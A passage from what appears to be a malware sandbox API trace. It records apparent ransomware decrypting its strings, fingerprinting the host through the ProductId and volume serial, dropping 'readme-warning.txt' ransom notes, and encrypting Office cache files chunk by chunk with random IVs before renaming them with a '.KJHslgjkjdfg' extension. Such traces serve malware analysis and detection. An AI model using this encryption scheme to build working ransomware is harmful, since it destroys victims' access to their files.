hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0133.341] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.341] GetProcessHeap () returned 0x2a0000 [0133.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0133.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.341] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0133.341] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.341] GetProcessHeap () returned 0x2a0000 [0133.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0133.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.341] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0133.341] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.341] GetProcessHeap () returned 0x2a0000 [0133.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0133.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.341] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0133.341] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.341] GetProcessHeap () returned 0x2a0000 [0133.341] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.341] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0133.342] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.342] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0133.342] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0133.342] RegCloseKey (hKey=0x124) returned 0x0 [0133.342] GetProcessHeap () returned 0x2a0000 [0133.342] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0133.342] GetProcessHeap () returned 0x2a0000 [0133.342] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.342] GetProcessHeap () returned 0x2a0000 [0133.342] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.342] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.342] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0133.342] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.342] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0133.343] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.343] GetProcessHeap () returned 0x2a0000 [0133.343] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.343] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0133.343] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0133.343] GetProcessHeap () returned 0x2a0000 [0133.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0133.343] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0133.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.344] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0133.345] CloseHandle (hObject=0x124) returned 1 [0133.345] GetProcessHeap () returned 0x2a0000 [0133.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0133.345] GetProcessHeap () returned 0x2a0000 [0133.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0133.345] GetProcessHeap () returned 0x2a0000 [0133.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0133.345] GetProcessHeap () returned 0x2a0000 [0133.345] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.345] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0133.346] GetProcessHeap () returned 0x2a0000 [0133.346] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0133.346] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0133.346] GetProcessHeap () returned 0x2a0000 [0133.346] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0133.346] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0133.394] GetProcessHeap () returned 0x2a0000 [0133.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0133.394] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0133.394] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.394] GetProcessHeap () returned 0x2a0000 [0133.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0133.398] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.399] GetProcessHeap () returned 0x2a0000 [0133.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.399] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.399] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0133.399] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.401] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.401] GetProcessHeap () returned 0x2a0000 [0133.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.401] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0133.401] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.401] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0133.401] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0133.402] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0133.402] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0133.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.402] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.402] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.402] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.402] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x978, lpOverlapped=0x0) returned 1 [0133.402] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x980, dwBufLen=0x980 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x980) returned 1 [0133.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.402] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x980, lpOverlapped=0x0) returned 1 [0133.402] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.402] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.402] SetEndOfFile (hFile=0x124) returned 1 [0133.405] GetProcessHeap () returned 0x2a0000 [0133.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.405] GetProcessHeap () returned 0x2a0000 [0133.405] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.405] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0133.407] CloseHandle (hObject=0x124) returned 1 [0133.407] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0133.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.408] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=43806141) returned 1 [0133.408] GetProcessHeap () returned 0x2a0000 [0133.408] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.408] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.408] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.408] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x3, lpOverlapped=0x0) returned 1 [0133.411] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0133.411] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.411] GetProcessHeap () returned 0x2a0000 [0133.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0133.411] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4d8*=0x30) returned 1 [0133.411] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.411] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f4*=0x30, lpOverlapped=0x0) returned 1 [0133.411] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0133.411] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0133.411] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0133.412] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.412] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0133.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0133.412] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.412] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.412] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.417] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.422] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.423] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.423] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.423] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.423] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.429] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.432] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.432] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.434] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.434] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.434] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.434] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.438] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.441] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2986dc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.441] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.442] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.442] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x29c6e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.443] SetEndOfFile (hFile=0x124) returned 1 [0133.445] GetProcessHeap () returned 0x2a0000 [0133.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0133.445] GetProcessHeap () returned 0x2a0000 [0133.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.446] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.kjhslgjkjdfg")) returned 1 [0133.446] CloseHandle (hObject=0x124) returned 1 [0133.446] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0133.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 